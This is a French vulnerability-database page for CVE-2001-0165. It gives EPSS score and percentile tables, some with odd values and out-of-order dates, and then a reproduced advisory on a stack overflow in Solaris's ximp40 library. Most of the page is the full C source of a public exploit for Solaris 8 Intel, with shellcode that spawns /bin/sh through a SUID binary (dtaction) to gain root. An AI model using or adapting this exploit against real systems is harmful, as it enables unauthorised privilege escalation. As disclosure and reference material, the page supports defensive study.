CVE-2001-0165 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-12-22	–	–	–	0.05%	–
2025-03-02	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-03-09	–	–	–	0.05%	–
2025-03-18	–	–	–	–	0.14%
2025-03-30	–	–	–	–	0.14%
2025-04-06	–	–	–	–	0.14%
2025-04-08	–	–	–	–	0.14%
2025-04-09	–	–	–	–	0.14%
2025-04-14	–	–	–	–	0.14%
2025-04-14	–	–	–	–	0.14,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2024-12-22	18%
2025-03-02	19%
2025-01-19	18%
2025-03-09	19%
2025-03-18	31%
2025-03-30	3%
2025-04-06	31%
2025-04-08	3%
2025-04-09	31%
2025-04-14	3%
2025-04-14	3%

// source: https://www.securityfocus.com/bid/2322/info Solaris is a variant of the UNIX Operating System, maintained and distributed by Sun Microsystems. It is freely available, with source code available. A problem in the ximp40 library packaged with Openwin could allow a user to gain elevated privileges. Due to a problem with the handling of input by the programs linked against ximp40.so.2, it is possible to supply a long string, approximately 272 bytes, to the arg0 of the command, which will overwrite stack variables, including the return address of the program. This makes it possible for a malicious user with local access to the system to execute arbitrary code, and depending upon which SUID binary is exploited, gain either EUID mail, or EUID root. Programs linked against the library that have been reported as vulnerable are: *Solaris 8 suid root : /usr/dt/bin/dtaction suid root : /usr/dt/bin/dtprintinfo suid root : /usr/openwin/bin/sys-suspend sgid mail : /usr/dt/bin/dtmail sgid mail : /usr/openwin/bin/mailtool *Solaris 7 suid root : /usr/dt/bin/dtaction suid root : /usr/dt/bin/dtprintinfo suid root : /usr/dt/bin/dtappgather suid root : /usr/bin/admintool suid root : /usr/openwin/bin/sys-suspend sgid mail : /usr/dt/bin/dtmail sgid mail : /usr/openwin/bin/mailtool /*==================================================================== Solaris ximp40 shared library exploit for Solaris8 Intel Edition The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) [usage] #xhost +targethost #telnet targethost ... %setenv DISPLAY yourhost:0.0 %gcc ximp40.c %./a.out 0:Default value 1:Calculated value > 1 <- Input 0 or 1 ==================================================================== */ #include <stdio.h> #define BUF_SIZE 272 #define EIP_OFFSET 260 #define FAKE_OFFSET 264 #define FAKE_VALUE 0x08046dec #define EIP_VALUE 0x08047cb4 #define FAKE_VALUE_DIF 0xd9c #define EIP_VALUE_DIF 0x12c #define NOP 0x90 char shell_code[]= "\xeb\x3b\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xc1" "\x88\x46\xc6\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x17\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89" "\x5e\x08\x53\xb0\x3b\xe8\xc8\xff\xff\xff\x83\xc4\x0c\xe8\xc8\xff" "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff" "\xff\xff"; unsigned long get_sp(void) { __asm__(" movl %esp,%eax "); } void valset(char *p,unsigned int val) { *p=val&0xff; *(p+1)=(val>>8)&0xff; *(p+2)=(val>>16)&0xff; *(p+3)=(val>>24)&0xff; } main() { char buf[BUF_SIZE]; unsigned int esp=get_sp(),sw; memset(buf,NOP,BUF_SIZE); memcpy(buf+EIP_OFFSET-strlen(shell_code),shell_code, strlen(shell_code)); printf("esp=%x\n",esp); printf("0:Default value 1:Calculated value >"); fflush(stdout); scanf("%d",&sw); if (sw==0){ valset(buf+FAKE_OFFSET, FAKE_VALUE); valset(buf+EIP_OFFSET , EIP_VALUE); printf("Jumping address = %x\n",EIP_VALUE); }else{ valset(buf+FAKE_OFFSET, esp-FAKE_VALUE_DIF); valset(buf+EIP_OFFSET , esp+EIP_VALUE_DIF); printf("Jumping address = %x\n",esp+EIP_VALUE_DIF); } buf[BUF_SIZE-1]=0; execl("/usr/dt/bin/dtaction",buf,NULL); }